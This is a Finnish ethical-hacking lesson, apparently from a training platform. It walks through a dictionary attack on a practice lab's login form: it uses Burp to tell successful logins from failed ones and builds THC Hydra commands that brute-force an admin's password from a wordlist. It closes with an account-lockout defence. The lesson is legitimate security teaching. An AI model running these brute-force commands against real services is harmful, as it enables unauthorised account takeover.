Sanakirjahyökkäys (dictionary attack) on hyvin yksinkertainen. Otetaan käyttäjätunnus, lista yleisiä tai todennäköisiä salasanoja, ja sitten kokeillaan kirjautua jokaisella salasanalla mitä listasta löytyy.
Harjoitus
On lukuisia tapoja tehdä tällainen hyökkäys. Tässä harjoituksessa käytämme harjoituskoneen polusta /usr/share/wordlists/common-passwords.txt löytyvää salasanalistaa ja THC Hydra -nimistä komentorivityökalua arvailun automatisoimiseen. Käynnistä harjoitus ja jatka lukemista!
Pohjatyö
Selvitetään, minkälainen HTTP-pyyntö kirjautumisyrityksestä lähtee, sekä miten erottaa onnistunut tai epäonnistunut kirjautuminen HTTP-vastauksesta.
Aloita kirjautumalla sovellukseen ja etsi sitten burpin HTTP-historiasta kirjautumispyyntö:
Lähetä sitten pyyntö repeateriin:
Lähetä sitten pyyntö ensin oikealla salasanalla ja tarkastele HTTP-vastausta. Voidaan päätellä, että oikea vastaus esimerkiksi:
- Palauttaa HTTP-statuskoodin 302
- Body sisältää tekstin "Redirecting..."
- On noin 200 merkin pituinen.
POST /login HTTP/2
Host: www-0xrue3l19e.ha-target.com
Content-Length: 46
email=student%40ha-target.com&password=student
HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: http://www-0xrue3l19e.ha-target.com/
Set-Cookie: session=.eJw...; HttpOnly; Path=/
...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>. If not click the link.
Lähetä sitten sama pyyntö väärällä salasanalla. Voidaan päätellä, että väärä vastaus esimerkiksi:
- Palauttaa HTTP-statuskoodin 200
- Body sisältää "Invalid username or password"
- On noin 5000 merkin pituinen.
POST /login HTTP/2
Host: www-0xrue3l19e.ha-target.com
Content-Length: 54
email=student%40ha-target.com&password=EiOikeaSalasana
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4933
Location: http://www-0xrue3l19e.ha-target.com/
Set-Cookie: session=.eJw...; HttpOnly; Path=/
...
...
<strong class="font-bold">Oops!</strong>
<span class="block sm:inline pr-5">Invalid username or password.</span>
...
Tarkastele vielä lopuksi itse HTTP-pyyntöä. Kyseessä on POST-pyyntö polkuun /login, jonka sisällä on tyyppiä application/x-www-form-urlencoded ja jonka bodyssa menee kaksi parametria, email (käyttäjän sähköpostiosoite) ja password (käyttäjän salasana).
Näillä tiedoilla pääsemme eteenpäin!
Hydran konfigurointi
Hydran syntaksi on tässä tapauksessa seuraavanlainen:
hydra -t <teho (threads)> -l <käyttäjätunnus> -p <salasana> <domain> <moduuli> "<polku>:<body>:F=<teksti joka merkitsee epäonnistumista kirjautumista>".
-l voidaan korvata isolla ällällä -L, joka tarkoittaa käyttäjätunnuksen sijasta tiedostoa, jossa on monta käyttäjätunnusta. -p voidaan myös korvata isolla peellä -P, joka vastaavasti tarkoittaa salasanalistaa. Kokeillaan kuitenkin ensin vain yhdellä käyttäjätunnuksella ja salasanalla, nimittäin omallasi, että hydra toimii oikein.
-t 4 on sopiva teho niin labra ei kaadu. Oletus on 16, joka voi olla sovellukselle vähän raskas.
Body taas annetaan niin, että paikat joihin käyttäjätunnus ja salasana laitetaan, merkitään teksteillä ^USER^ ja ^PASS^.
- käyttäjätunnus: student@ha-target.com
- salasana: student
- domain: sinun labran domain, esim. www-0xrue3l19e.ha-target.com
- moduuli: https-post-form (hydran moduuli joka käsittelee urlencoded HTTPS POST -lomakkeita)
- polku: /login
- body: email=^USER^&password=^PASS^
- epäonnistunut kirjautuminen: Invalid (HTTP-vastaus joka merkitsee epäonnistunutta kirjautumisyritystä sisältää tekstin "Invalid")
Voisit siis kokeilla hydraa suunnilleen tällä tavalla:
hydra -t 4 -l "student@ha-target.com" -p student www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"
Jos kokeilu tuntuu toimivan, kokeile seuraavaksi väärää salasanaa. Tällä kertaa hydran ei pitäisi onnistua.
hydra -t 4 -l "student@ha-target.com" -p EiOikeaSalasana www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"
Hyökkäyksen käynnistäminen
Jotta voimme käynnistää varsinaisen hyökkäyksen, teemme kaksi muutosta hydra-komentoon.
- Vaihdamme käyttäjätunnuksen hyökkäyksen kohteen sähköpostiosoitteeseen, joka on tässä tapauksessa jessica.blanchard@ha-target.com (sinun labrassa admin on eri, löydät adminin sähköpostin labran etusivulta).
- Salasanan (-p) sijaan käytämmekin salasanalistaa (-P) joka sijaitsee polussa /usr/share/wordlists/common-passwords.txt
hydra -t 4 -l "jessica.blanchard@ha-target.com" -P /usr/share/wordlists/common-passwords.txt www-0xrue3l19e.ha-target.com https-post-form "/login:email=^USER^&password=^PASS^:F=Invalid"
Sitten vain odottelet hetken kun hydra käy salasanalistan läpi, ja jos hyvin käy, saat admin-käyttäjän salasanan!
Salasanoja käyttävän sovelluksen voi parhaiten suojata sanakirjahyökkäyksiä vastaan estämällä käyttäjätunnukselle kirjautumisen väliaikaisesti muutaman, esim. viiden epäonnistuneen yrityksen jälkeen.
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.